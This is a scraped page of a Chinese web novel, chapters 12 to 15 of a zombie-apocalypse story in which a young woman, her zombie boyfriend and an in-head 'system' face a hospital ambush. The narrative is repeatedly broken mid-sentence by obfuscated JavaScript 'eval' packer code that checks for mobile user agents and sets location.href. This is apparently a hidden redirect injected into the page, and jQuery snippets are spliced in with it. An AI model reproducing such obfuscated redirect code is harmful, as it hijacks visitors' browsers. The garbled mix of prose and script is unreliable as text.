l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15282819|166912||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人身形不一，胖瘦不均，身高连在一起像一条波浪线。 续昼皱眉。 大早上就往酒店赶，是要睡个回笼觉吗？ 也不知道是不是女人的同伙，她昨天说只有她一个人，也没说她的同伙去哪了。 要跑路吗？万一瓮中捉鳖，捉着她了，她得往哪逃啊…… “我好了，我们走吧。”正想着，女人从二楼下来了。她换了一身深红色的劲装，整个人干净利落。一边整理袖口一边说着。 “有人来了。”续昼站起身，示意女人看外面。寻春自觉站起来。 女人快速瞥了一眼，对续昼说：“不认识。不用管他们，走吧。” 女人的神情不似作假。 续昼思考一会，当机立断选择跟着她走。 从酒店大门离开，女人往左拐，与相对而行的六人错开道路。女人目不斜视，在前面带路，续昼紧随其后，也不去观察那六人，就当自己没看见一样。 这边刚脱离丧尸困境，匆匆赶往酒店要休息的六人，也看到了在酒店大堂里的三人。两拨人打了个照面。见她们直接离开并没有打招呼的意愿，一行人也打消寒暄的想法，没有上前阻拦。 只是多看了一眼。 队里最小的新人推测道：“最前面那个是她们队长吧，看着就很厉害。队长，她是不是和你一样，在带新人啊？” 那大步迈向前、不拖泥带水的风范一看就是有实力又果断，能一拖三的队长，不像后面两个步伐懒散的人。也是现在，他感受到自家队长说的，什么叫一眼就能看出人与人之间的差距，这简直就是泾渭分明。 “估计是的。”队长回复道，拍拍新人肩膀，“你努努力，超过她那两个队员。” 那女人身上有股狠劲，想必她的队员也有点本事。 “队长，你先超过她们队长吧。”新人贫嘴道，“我看着她的肌肉好像比你的还大。” “是吗？”队长微笑，“等下你来当前锋。” “不要啊……” 新人卖惨的声音渐行渐远。 12. Chapter 12 日出东方。 续昼从药店里拿了一些日常药品。 拿药之前，她看了保质期，这些普遍都已经过期很久了。在旧历中，过期药是不建议吃的，现在又是末日，吃了说不准会有什么并发病症。于是，她站在药架前，犹豫着要不要拿。 下一秒。 “系统，这药还能用吗？” 她在心里问系统，反正遇事不决就找系统，总归还是有点用处的。 “拿着吧，给自己一点心理安慰也是可以的。” 续昼：？ 女人绕了一圈来找续昼，碰巧看见她站在药架前手足无措。女人没说话，转身离开。再回来时，她拎了一袋子药，递给续昼。 “拿着吧，这些够用了。” 系统话音刚落，走过来的女人就打断了续昼的想法。 续昼接过袋子，可以看见里面都是日常药品，份量有好几份，甚至有一些药物她都没有想到过。 不得不说，女人真的很细心。捏着袋子提手处，她心里划过一股暖流。 “谢谢。”续昼道谢。 “客气。”女人摆手，“如果你没有其它病，基本上这些药就够了。当然，你要是觉得少了，可以按照这些药再多拿几份，也可以再多看看其它的药。” “这些就可以了，”续昼摇头。 她本来就没有什么想拿的药，再加上系统的回答说明药基本上已经没有作用了，她就更没有什么需要的了，不过女人的这番心意着实是让她心有好感。 见女人两手空空，续昼问道：“姐，你不拿药吗？” 女人诧异地看了续昼一眼，才回答：“我身体很好，用不上这些。” 说完，她停顿了一下，才继续说：“要是真的生病了，这些药也不要多用，副作用挺大的。” “什么副作用？” “会死。” 女人的语气很淡，就像在说“今天吃什么”一样平静。 听到这两个简单的字，续昼惊讶了。她有想过药的用处不大，但没有想到会是这种结果，但认真一想，好像还挺有道理的，末日时代的病和旧历时代的病肯定会有差别，再加上药已经过期了，盲目用药无异于病急乱投医。 续昼低头看着药袋子。 她突然想到第一次见到女人的那一天，在药店门口，她扶着一个昏迷的女人。 所以，那个昏迷的女人死了吗？ 续昼没有继续设想下去。 确认没有了要拿的东西后，她们离开药店，去找代步汽车。还是女人在带路，她说自己来过这里，还算熟悉。就是不知道是旧历时代来过，还是昨天提前踩点的。 续昼落后半步走，寻春跟在她身后。 “系统你说，到现在了，她对我下手的概率还大吗？” “她要是想动手，为什么留你到现在？”系统答。虽然系统不识人心，也没有读心术，但是勉强还是能感知到磁场波动的，一个人想做什么之前，就算隐藏的再好，但周围的磁场是会变化的，不过这种就不是人能感知到的。 “也是。”续昼如此想着。 女人挑了没有丧尸的路，七弯八拐找到了续昼心心念念的越野车。说起这个，续昼都怀疑女人脑子里也有一个系统，她的感知力很强，可以察觉到附近有无丧尸。 续昼摸着车身，绕着走了一圈，非常满意。女人对车没有想法，跟着续昼也选了越野车。 “就在这分道扬镳吧，”女人坐在驾驶位，启动车辆，降下车窗，似是无意对续昼说，“你是没经历过末日还是被保护得太好了？当然，不管你是从哪里来的，远离新序列，也就是那个卡片上所代表的组织。” “记住，远离。” “一定要远离。” 女人眼神深邃，一眼望去里面好像写满了故事，让人捉摸不透，看不明白。 也不等续昼回答，女人就开车离开了，离开的方向是西边。 续昼怔在原地，看着车辆远去，黑色的车身后还贴着粉色的卡通贴纸。 荒凉城市之下，黑色车辆带着鲜活的色彩，仿佛冲开桎梏，胜利远去。 割裂的画面。 “她知道了什么……” 续昼喃喃自语。 女人说的话无异于在她脑海里丢了一枚深水炸弹，一时间她脑子里就成了浆糊，很多猜测如雨后春笋般齐齐冒泡，糅杂在一起，让她难以开始梳理。 系统倒是很淡定，给她放了一首舒缓的轻音乐。 “啊啊没……没没。” 沙哑的声音传来，寻春紧紧抓住她的手腕。她抬头侧着看向他，看见了他眼睛里一闪而过的担忧，还清晰地听见了那个字正腔圆的“没”字。 耳鸣。 这下，她的脑袋彻底爆炸了。 续昼晕过去前只有一个念头，那就是她不会一头栽在地面吧。 而脑海中的系统也猝不及防被强制休眠。 系统：？ 系统一脸不可思议。 合理否？ 她晕过去怎么还调动了它的能量？ —— 续昼一直都是一个高能量生活的淡人。 她积极生活是一方面，但对什么事情的态度都淡淡的、随遇而安又是另一方面。她感觉自己像两个分裂的个体，一边说着要勇往直前挑战生活，一边说着没事就地躺下也可以。 从小便是。 例如，她可以为了更好的成绩埋头苦读，也可以在成绩下降后心安理得，觉得这样就够了。这两种想法于她而言，不是控制，也不是苦难。她可以在两者之间找到一个平衡，这个平衡也造就了她。 她一直觉得自己的生活很好。 要说为什么会喜欢寻春，这个原因说来简单，她觉得他很不一样。 在她的视角里，他就像一个被规划好路线的蜗牛，每一步走的都很稳重且慢，就如同少年老成一样。 与他相处，他就如同一剂药效强劲的定心丸。 她大多时候的生活都是循规蹈矩，但不同的是她还有很多灵光一现的瞬间，脑子一热就会去做某件事情，没有考虑过会发生什么意外，以至于她每次都是被意外打败在半路。 但她不记事，下次还会这样，循环往复。 但这些灵光一现的瞬间从遇到寻春后，所有的意外都烟消云散了。 某一次，她突发奇想要去爬山，给他通知的时候就已经到他宿舍楼下了。他从阳台探出头，指着旁边的树荫下，让她等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15282820|166912||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三分钟。 闻言，她拿出手机，点开秒表，计算他会花多少时间。 一分钟。 两分钟。 三分钟。 寻春准时出现在宿舍大门口。他背了一个黑色的包，右手拎着一小袋青提。他走过来，把青提递给她，告诉她已经洗好了，味道比较甜，她应该会喜欢。 她欣喜的接过青提，将秒表界面拿给他看，问他怎么会这么准时。 他解释说，以前测过下楼的时间。室友为了上早八能多眯几分钟，拉着全宿舍的人陪他一起测了从宿舍到教学楼要花的时间，还优化了好几次最佳路线。 听此，她唯有竖起大拇指点赞，表示下次自己也要试试。 寻春倒是认真思考了，才回复她，说自己可以帮她优化时间，也可以在早上没课的时候试试和她踩点到教室。 他能这么说，她一点也不意外，因为他经常这么做。对于她的任何想法，他都很认真对待，会让她去做，又会帮她完善。 所以，当太阳出来，气温上升，她抱着树求卖水人快出现的时候，他从背包里取出矿泉水和帽子，说“诚惠价零元”，她也觉得不愧是他，和他出门简直就是完美选择。 山顶美丽的风光对得上她一路的努力。 她迎着风大声呼喊，他在旁边给她配回音。 寻春就是一个温和有礼、内敛，会考虑给她兜底的人。 只是他的考虑不在开始前，而是跟着她的步伐，边走边考虑。 朋友总觉得她这样的人，应该有一场轰轰烈烈的恋爱，而不是寻春这种细水长流的类型。 要不说她们是朋友呢，因为她以前确实是这样设想的，未来的男朋友要阳光开朗，隔几米开外就能听见他爽朗的笑声，性子大大咧咧，和她一起疯，或者带着她去疯。 然后，寻春完美避开设想。 但，就是这样不符合设想的他给了她很舒服、很喜欢的恋爱状态。 说实话，她真的很生气他提出的分手，不符合他的一贯作风不说，就连措辞都很冷淡。就算突然变心也不会才几个小时就变心了。 要是丧尸也能解释就好了。 续昼的梦断断续续。 一会儿是和寻春的恋爱经历；一会儿是末日国道飙车，动物群和她并车头前进；一会儿是丧尸追着她跑，然后系统变成一个高大的石头人扛着她疯狂跑…… 下一秒，石头人转过头咧开嘴对她笑—— ！ 惊恐！ 续昼猛地睁开眼，脑海里还萦绕着石头人的样子。 坐在旁边的寻春见续昼醒来，他凑到她眼前，歪头眨眼，确认她是不是又活了。 续昼还没思考现在是什么情况，就看见一张大脸杵过来，她面无表情闭眼。睁眼，大脸还在。 哦，不是做梦了。 她推开寻春，坐起身。 寻春顺着她的力道坐回去。 还活着，而且比之前活的更早了。 他安心了。 就是不懂为什么她总喜欢闭眼死去。他也尝试过闭眼死去，一点都不好玩，不过她死去，他也只能死去，因为他不闭眼死去也不好玩。 丧尸很疑惑，但丧尸只能照做。 13. Chapter 13 系统幽怨问道：“你礼貌吗？为什么我在你的梦里是石头人？虽然形象是很伟岸，但物种是不是有什么问题？” “我还没问你呢，我为什么会晕倒？”续昼反问，“而且，你怎么知道我的梦？” “我是被你拖累的，你晕了就晕了，怎么还带上我了？”系统也不解，更重要的是，它被困在续昼梦里休眠，不能离开，被迫看完了那些没有逻辑的梦。 “胡说，”续昼反驳，她晕之前有感受到一股电流嗞啦作响，紧接着她耳鸣加晕倒，“不是你电击了我，我才晕的吗？” 系统大喊冤枉：“什么话什么话，我们系统准则明确规定任务期间不能伤害同盟的，我可是优秀系统代表，从不干这种坏事，你可不能乱说啊。” 系统又继续说：“假设，我说假设，我要是电击了你，为什么还要把我自己弄休眠？” 也是。 但她确实感受到电流了—— 讨论了半天，续昼和系统也争不出个所以然来，双方默契暂停争论，同时看向旁边正襟危坐的寻春。寻春慢慢扭过头来，不说话，只是看向续昼，似是在等待她的下文。 “你觉得是寻春那边出的问题？” “他身上残留了我的能量，也不是没有可能。”系统合理推测，“可能是他动用了能量，引发联动。” “不对，他怎么会有你的能量？是打赏任务给的吗？” “可能……？”系统留了个疑问。 它原定计划并不是降落在地球的，打赏任务也不是匹配末日世界的，所以它很多功能都被限制了，也探查不了寻春身上残留的能量是从哪里来的。但一般来说，打赏任务不会涉及到给能量。 不过丧尸要怎么运用它的能量呢？说不定他压根就不知道自己身上有它的能量。 系统最终认为应该不是这股能量的问题，而是打赏任务那边出现的变化。 想到这，它开始翻看任务电子屏幕，结果显示乱码数据恢复中。 脑内阵阵脑力风暴，现实里续昼却是微微一笑。 她醒来是在越野车后座，车门没关，上面还有脚印。应该是她晕倒后，寻春将她挪过来的，在这个过程中她踢到了车门上。 不知道晕倒后发生了什么，她和系统都懵，一问三不知，甚至一度还认为是对方做的。唯一知道情况的就是寻春，但他说的丧尸语跟天书一样，她听不懂，问他也不起作用。 一寸光阴一寸金，约等于她浪费了一段珍贵的金钱。 惋惜。 没关系，一个疑难没有解决，还有一个疑难。 两个还能凑个成双成对。 续昼泰然自若，转而纠结起开车离开的女人。 女人的身份是什么？还有她说的话是什么意思？ 续昼回想女人说的话，从中提取中关键信息。 没经历过末日。 被保护得太好了。 新序列。 哦，不是一个疑难，而是三合一。 续昼稳坐泰山，反正已经有未解决的疑难了，再多三个也不是不行，凑一起还能打麻将呢。 系统：……它的同盟真稳得住，靠谱。 将女人的话拆分开来，可以看出里面包含了三个可供思考的方面。她能说出这三个方面，证明她应该经历或者遇见过，才会在她的思维体系、话语体系中下意识体现出来。 第一，没经历过末日。 从字面上就很好理解了，末日已经四年了，像续昼这样，就是没经历过末日的，对末日的认识停留在表面，浅薄且保留了旧历时代的思想，就算有心隐藏，接触一通下来也会被发现。 那什么情况会没有经历过末日呢？ “系统，你在这里还有同类吗？” “没有。”系统自醒来的第一时间就联系了主系统，顺便检查了地球上是否有其它系统的信号波，结果没有发现。 排除她这种情况，还有什么情况呢？续昼大胆猜想。 既然系统能来到地球，那其它星球上的生物呢？或者地球上其它时代的人？听上去虚幻又荒诞，但系统的出现让她保留这种猜想。女人的语气并不是随口开个玩笑，她是真的想过这个可能，才会说续昼是不是这样的情况。 所以，她应当是遇见过同样对末日一无所知的“人”。 第二，被保护得太好了。 那就是末日至今，这个人都被身边的人保护得很好，没有真切经历过末日的残酷，比如没有面对丧尸，也没有面对人性等等，依旧生活在象牙塔里。这个就没有什么疑惑了。 最后，新序列。 是一个组织。女人三次提出要她远离新序列，那么就说明在女人那里，新序列是坏的，这个组织很可能在做一些不符合常理、不被人接受的事情，那么女人推测的前两个方面在其中又代表什么呢？ 续昼长叹一口气，心里隐隐难受。 她想到了。 “新序列遇到了这两种人，并且对其做了不好的事情。”系统接着她的话推理。 “是的，而且她不是随口提醒，而是郑重告诫。这就说明新序列做的事情很残忍。” 当然还有一种情况是，女人仅仅是好奇她的来历，猜测她与前两个方面有关，最后提醒她新序列很危险，让她远离。 不过，不管是哪种情况，都在说新序列危险。 这一切都建立在女人是好人的基础上。 系统：“那你觉得她是好人吗？” “……” “是。”最后，续昼还是忠于第一感觉。 认真来说，在与女人的相处中，续昼感觉还是很舒服的。 “所以，新序列危险。” 续昼想到了那张卡片，她取出随身携带的卡片。 当时从岔路口与他们分开之后，她就丢掉了卡片。但是越开越念着它，于是后面又倒回来，从草丛里捡回了卡片。她感觉卡片有用，所以随身带着，就算没用，一张卡片也不占地方。 卡片两面是一样的，分不清正反。黑色的底面很有光泽，红色标志是一只竖瞳剪影，绕着的四周是一些扭曲的线条，看不出指代什么。 新序列。 续昼嘟囔着这个名字，眼睛一动不动地盯着红色标志。 “是字母。”半晌，系统说，“那些线条指代的是组织名的字母。” 被系统这么一说，续昼开始按照答案逆推，一匹配，发现线条真的是组织名的字母。从正上方绕着竖瞳逆时针排列。 竖瞳，逆时针，新，序列。 考试中阅读理解得满 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15282821|166912||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分的续昼开始脑补。 好像寓意很有野心啊。 续昼咂舌：“系统，你能不能保我不死？”她觉得自己的未来有一点的风险。 “只要你不碰到人。”系统坚定地说。 “算了吧，其实死了也可以。”续昼突然觉得自己也不是不能接受，毕竟人真是很神奇的生物，哪哪都能遇见。 想了一堆，有用的信息少之又少，未解决的疑难倒是一大筐。 “要是寻春能快点清醒就好了。”这样她就能知道刚刚晕倒发生了什么，也就解决了一个疑难。 不过现在想这些也没用，还是赶路要紧。 感慨完这句话，起身下车去驾驶位的续昼没有发现，旁边的寻春眼睛亮了一下。 中途意外晕倒浪费了很多时间，她们再出发的时候，已经是下午三点。系统导航加辅助开车，尘封了四年的越野车重新打火，以傲人的姿态再次现世。 寻春还是老样子，总喜欢窗外的世界，并且这次企图将他整个人都伸出窗外。 “丧尸癖好还是太独特了。”续昼摇头，她不懂。 “或许那四只蹦床丧尸可以懂。”系统接话。 续昼点头赞同。 越野车在城市里游走，所到之处皆是荒败建筑，新生的变异植物都不喜欢高楼大厦，玻璃幕墙在阳光下闪着光，光滑且空荡荡。 “为什么这里没有变异植物？” “有没有可能变异植物还长不了这么高？”那可是几百米的高度啊，变异植物吃加速药也没这么快吧。 “哦，那它们真要努努力了，都末日了，还不努力可不行。” 在一边瘫在地面上，懒洋洋晒着太阳，而被骂的变异植物：？ 什么话？ 植物也有恐高的好吗？ “快开车吧，下个地点就是楼江镇了。”系统拒绝了续昼的没话找话，并且放了一首《你在开车就不要拿着画笔飞到花园里去画画》，歌如其名，它虽不理解这么长的歌名为什么没有逻辑，但它觉得这个意思还不错。 系统友好地告诉了续昼歌名叫什么。 续昼加速，顺口答道：“我知道，这首歌说的是要关爱残障人士。” 系统：？ 它收回刚才的话。 这首歌简直完美。 开出大道后，续昼左转，准备驶离城市。按照现在的进程，明天下午就能到达楼江镇，她终于能见到父母了，心里的思念一旦出现，就愈发强烈，她恨不得自己能长出翅膀，飞回去。 越野车逐渐靠近拐弯处。 续昼很有仪式感的开了转向灯。 十米。 五米。 三米。 突然，一道身影冲了出来。 “刺啦——” 轮胎划过地面，发出刺耳声。续昼眼前一晃，她猛打方向盘紧急避让，车尾一个大漂移，绕开中间的身影停住。意外来得骤不及防，副驾驶的寻春差点被甩出去，越野车停下，他急忙钻进车子里。 续昼一边拍拍寻春以作安抚，一边看向那个冲出来的身影。 是个包裹严实的人。 不认识，但有点眼熟。 他跑过来，扒着车窗，求救：“求你救救我队友，他们被丧尸包围了。” 14. Chapter 14 东轩彩是一年前从其他基地过来的，这个月考核刚进天河基地的探查小队十一组。原来的队里包括队长一共五个人，他是队里最小的新人。 一周前，队长接了探查阳兴市的任务。 前天下午，他们抵达阳兴市。随即，他们探查了大半个阳兴市，除了常见的丧尸，没有发现什么特殊情况。 昨天晚上，原定已经要休息了，结果他们发现西边的医院有亮光。那里他们白天已经看过了，里面空荡荡，没有丧尸，地面上都是干涸很久的血迹。 这个亮光在此刻就很蹊跷。 基地有电很正常，但是在荒废的城市，一个无人的医院忽然在晚上亮光就不正常了，更何况医院电路已经荒废了很久。 他们立刻前往查看具体情况。 和白天一样。 除了有亮光。 他们上上下下检查了好几遍，都没有问题。 医院看起来很正常，但他们总有一种不祥的预感。 不过熬了一整夜，探查的时候还要时刻提防着周围，在这种高强度运作下，到了凌晨，队里的精神都不太好，于是，他们打算先休息，白天再来一次。 早上找了家酒店休息，也是在那里遇到了续昼她们，匆匆打了个照面。 简单休息几个小时后，他们整理前往医院。 医院大厅依旧敞开着门，欢迎他们的到来。这次，医院里没有亮光了，看这样子，医院里肯定有问题。他们先一路往楼上探查，没有任何收获。 查完地上，他们转向地下。 往下的楼梯间，光线很暗，他们打开手电筒，顺着台阶而下。 负一楼是一条长长的走廊，两边有多个房间，一眼看过去，都掩着门。走廊三分之一处有一道铁门，已经生锈了。天花板泛着冷光。 他们穿过铁门，走向走廊对面尽头的楼梯。 这个医院的布局很奇怪，从一楼的楼梯下来，就没有楼梯了，想要下到负二楼，得穿过负一楼的走廊去对面尽头的楼梯。 负一楼冷飕飕的，比昨晚还要冷。冷风吹过，还有隐隐回音。他们推开门查看两边的房间，每一间都是手术台，白布散落在地，手术器材杂乱无章。 在旧历时代，这就不是正规医院的样子。 穿过走廊，他们走楼梯下负二楼。刚走到一半，就听见负一楼传来“砰”的一声。 他们互相对视，发觉不对劲，赶紧返回负一楼查看。 走廊上的铁门被关上了。 刚才铁门是从楼梯口那边拉开的，现在被合上了，但是没有锁上。铁门上有黏糊的液体，新的还没有干涸，液体散发着腥臭味。 这说明，门是被别人关上的！这个人藏在暗处，正看着他们的一举一动。 他们面面相觑。 站在铁门处，两头的楼梯口都昏暗，看不清楚。 “去哪边？”有人问。 “去负二楼。”队长说。 他们还没有走到负二楼，负一楼就出现了响声，他们被声音吸引，肯定会认为上面有人，要返回查看，甚至追上去。但是为什么是在下到负二楼的时候呢？这说明负二楼有东西，有人特意引开他们，不想让他们发现。 一行人重新走向负二楼。走之前用房间里的椅子抵住了铁门。 接二连三的脚步声回荡在楼梯间。 “咚” “咚” “咚” 下到楼梯平台。 “砰——” 更大的响声从负一楼传来，仿佛整个地面都在颤抖。 他们没有犹豫，转身跑回负一楼。还是没有看到人，只有铁门在反弹，哐哐作响。 队长分了三个人继续下负二楼，剩下的两人跟着他留在负一楼，东轩彩是在负一楼的那个。 三人走向铁门，铁门上多了一处液体。队长两人分两边查看房间，东轩彩推开铁门，走出去查看。 铁门外有两间房，东轩彩摸了摸铁栏杆，手上全是铁锈。铁门不重，很容易推动，一碰就会吱呀作响。 东轩彩站在铁门前。 突然，额头上传来一阵凉意，湿湿的，天花板上有水滴了下来。 不对！ 他下意识抬手，正准备抹掉水滴，一下子反应过来，他额头上黏糊糊的。 这根本不是水。 他抬头，第一眼看见红色的微光，像是警报器。手电照上去，一张青灰色的脸猛地往下抻，吓得他一激灵。丧尸嘴角咧的大大的，口水顺着嘴角滴下来。 “队长，有丧尸！”东轩彩瞬间喊了出来，同时脚下快速往后退，远离铁门。 铁门上方的天花板被撬掉了两块，丧尸就趴在洞口处。难怪他们两次都没有发现，原来是藏在了天花板上。 听到东轩彩的声音，在房间里查看的两人迅速冲出来，恰巧看见丧尸从天花板上跳下来，“咚”的一声，重重砸在地上，反手关上铁门，背对他们抵住铁门。 负二楼也传来脚步声，是下面的三人在跑上来。但声音听着有点多。 丧尸很高，有一米九，身形宽阔，与之前见到的身形消瘦的丧尸大不相同。 “嘤——”长而急促如鸟叫般的哨声从丧尸口中发出，他狠狠地直盯着东轩彩。 队长两人拿起地上的医疗器材就朝丧尸攻击过去，同时想推开铁门，但没想到丧尸力气很大，像一堵墙挡在铁门前。铁门每根栏杆之间的空隙很小，丧尸的脑袋又在灵活摆动，他们打不中丧尸的脑袋，杵丧尸的其他部位也处处碰壁。 一时间这边陷入僵局。 东轩彩见状，拿起椅子砸向丧尸。 丧尸一吼，一拳挥开椅子，站在原地一动不动。椅子则碎裂在地。 一椅子不成，东轩彩抓起棍子打过去。 丧尸要堵死他们！ 队长两人对视一眼，眼神凝重。 负二楼的三人已经跑了上来，他们气喘吁吁。噩耗的是，身后还跟着一群丧尸！负二楼和负一楼一样，空荡荡的，丧尸群是听到刚才丧尸的哨音从负三楼跑上来的。 这边五人没有过多交流，连忙拿着器材抵挡丧尸的攻击。 抵门的丧尸仿佛坚硬的铁墙，面对东轩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15282822|166912||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 彩的攻击游刃有余，或者说，东轩彩的攻击在他眼里就和挠痒痒一样。 它眼中红色的微光一闪一闪。 铁门后面，丧尸群的进攻愈加猛烈，五人疲于应对，其中一个队友慌乱之中被抓伤了，血滴落在地，闻到血腥味，前排的丧尸更加癫狂。 “东轩彩，快跑！” 队长头也不回的喊道。 东轩彩听到了，双手紧了紧棍子，面露犹豫。不跑希望渺茫，跑了就真的没有希望了，阳兴市没有其他小队，他不知道能不能找到人来救他们，就算找到了，赶过来他们不一定还活着。 这时，丧尸转动眼珠子，弯腰捡起他丢过来的椅子碎块，朝他扔回去。 碎块如飞箭，划过东轩彩的脸颊，留下一条血线。紧接着，更多的碎块飞了过来。 “你们撑住，我去找人回来救你们。” 东轩彩没有办法，转身离开负一楼。 他回头看，高大的丧尸正静静地看着他，眼里的红色微光仿佛会说话。他头皮发麻，一股寒意瞬间爬上脊背，直冲天灵盖，冷汗直冒，他连滚带爬回到一楼。 站在阳光下，那股寒意都还在。 “那些丧尸很不一样，”东轩彩声音还在颤抖，他回想起丧尸的眼神，不是黑空，就像人一样会思考，“丧尸好像变聪明了。” 续昼下意识看了副座的寻春一眼。寻春的眼神清明。 东轩彩除了转述情况，还问了和她们一起的女人去哪了，他一直以为女人是她们的队长。看到续昼指向南边，语气里还很遗憾。 系统说他估计是看女人很强，想着要是女人在，胜算会很大。 续昼在心里连连感叹。 续昼开车很快到了医院。 医院死气沉沉，进入大厅，完全听不见下面的声音，人很有可能已经没了。 东轩彩也意识到了这一点，他面色凝重，声音沉重，说他在前面带路。 系统自觉探查了一通地下的情况，确实是有丧尸群，但没有人的迹象。 续昼右手握紧钢管，左手放在腰间，那里有她昨天刚拿的小刀。寻春依旧走在她左边，不过这次是在她的前方半步处。 在通往负一楼的楼梯口，就能感受到凉风袭来，头皮发凉。续昼拢拢外套，循着东轩彩的灯光往下走。 下到负一楼，这里和东轩彩描述的一样。幽黑的走廊，打开的铁门，开了洞的天花板，到处都是打斗过的痕迹，还有躺在地上的五个人，只是丧尸不见踪影。 她特意看向天花板的洞口，没有丧尸趴着。 “拉住他。”系统突然开口。 还在观察环境的续昼当机立断抓住东轩彩，下一秒就被他前进的冲力带着往前踉跄了一步，被迫松手。寻春反应也快，伸出左手抓住东轩彩的手臂，成功阻止了他过去。 东轩彩转头，张嘴想说什么。 就在此时，走廊内的风声忽地变大，一道身影来势迅猛，直击她们。 没有丝毫考虑，寻春直接松开东轩彩的手，左手拉着续昼往旁边避闪，右手抵着她的后背，手肘撑着墙壁。 15. Chapter 15 一切发生的太快，东轩彩头还没转回去，没有防备，躲闪不开，一下子就被丧尸踹飞，“嘭”地砸到墙上，顺势滑落在地。丧尸的力度很大，有那么一瞬间，他感觉自己的骨头都要碎了。他一脸痛苦地捂着肚子，嘴角流了血。 丧尸还准备乘胜追击—— 见状，续昼立即跑过去。 下一秒，寻春紧随其后，挡在丧尸面前，阻止丧尸继续攻击。不过他没有出声。 丧尸低吼，顿时停下动作，眼中红色微光闪烁，不懂这个同类拦着他要做什么。 续昼已经跑到东轩彩身边，趁机回头一看，两只丧尸正在对望，气氛和谐。寻春背对着她，她还能越过他看见丧尸的头。 倒地的东轩彩想要抬头看—— 续昼心道不好，寻春的身份！ 没有犹豫，她扶起东轩彩就往一楼跑，边跑边挡住他的脑袋，语速很快，不给他反应的时间：“你先回一楼，你在这里挡不住丧尸，帮不上忙，还会影响我们发挥，我先把你送上去，再下来帮他。” 东轩彩浑身软趴趴的，脑袋不停点地，他被她带着有点颠簸，声音发抖：“好……你们要……小心。” 续昼：“相信我们，你就在一楼不要动。” “系统，寻春怎么样？”续昼在心里询问系统。 系统：“两丧尸打的有来有回。” 别说，这寻春还真能挡住，面对一米九的丧尸完全不落下风。不会打赏任务给他开小灶了吧？系统越想越觉得有点对。 时间紧急，续昼脚步不停，回到负一楼，捡起刚才掉落在地的钢管。 寻春和丧尸在近身肉搏，拳风呼啸，拳拳到肉。丧尸时不时低吼提高士气，寻春因为有外人在，时刻记着续昼说的话，闷哼一声都没有。 她眼尖，看见寻春身上坑坑洼洼的。 ！ 不是说没事吗？这打的都凹进去了，还能养回来吗？ 续昼看得心惊肉跳，又是紧张又是担忧。她踮起脚，摸着墙壁前进，小心翼翼绕到丧尸后面，深呼吸，举起钢管用力一打。 钢管嵌进丧尸的脖子里，丧尸动作一顿，寻春抓住机会，奋起翻身压倒丧尸。丧尸倒地，脑袋撞到铁门上。 冷不丁被偷袭的丧尸：！ 怎么还有一个，没完没了了。 丧尸怒了，张嘴要叫—— 续昼眼疾手快，拿起地上的东西就塞进丧尸嘴里。 哨音瞬间变成呜咽声。 续昼庆幸，还好她记得东轩彩的话，没让丧尸召唤丧尸群。 系统：“用刀。” 续昼抽出腰间的小刀，二话不说直接补刀。她蹲在丧尸斜前方，倒着看到丧尸眼中的红光，只觉得诡异，极其诡异。 她加重了力度。 丧尸死了。 睁着眼，但眼中的红色微光消失了。 就在下一秒，意外突变，原本躺地上的五个人突然暴起。面色狰狞，身体扭曲，他们已经变成丧尸了。他们四处张望，没有发现目标，开始茫然。 续昼被吓的后退一步，歪坐在地上。好在，她很快便反应过来，站起身趁机关上铁门，拨出钢管锁住铁门。 下面的丧尸也上来了，脚步声不断，动静更大声了。 没有再关注丧尸，续昼拉起寻春往回走。 寻春身上有很多划痕，是打斗的时候碰到其他东西弄到的，衣服也破烂了。她脱下外套系在他腰间，挡住他身上的划痕，又把他的头发往下扒拉，意图遮住他的脸。 续昼低声嘱咐：“低头，千万不要抬头，记住了吗？我牵着你走。” 寻春听话的点头。 有伤口没有血，对丧尸来说很正常，但是作为一个人，就不对劲了。 她担心东轩彩看到了会发现端倪，以防万一，还是要找个借口赶紧离开。 续昼扶着寻春，打算返回一楼。还没走出一步，就看见东轩彩站在楼梯处。 东轩彩：“我听到下面的声音，担心你们会出事，才下来的。” “节哀。”续昼轻声说。 东轩彩一瘸一拐，越过她们，看见铁门后五个熟悉的身影，眼圈泛红。五只丧尸见他过来，闻到生人的气息，神情激动，扒在铁门上，双手穿过门隙，想要抓住他。 他心里一阵难受。 下面的丧尸群上来了，铁门挡不住的。 续昼：“丧尸群来了，铁门撑不住的，我们该走了。” 东轩彩低下头。 续昼没有再催他。 风声混杂着丧尸声，此起彼伏，敲击着人心。 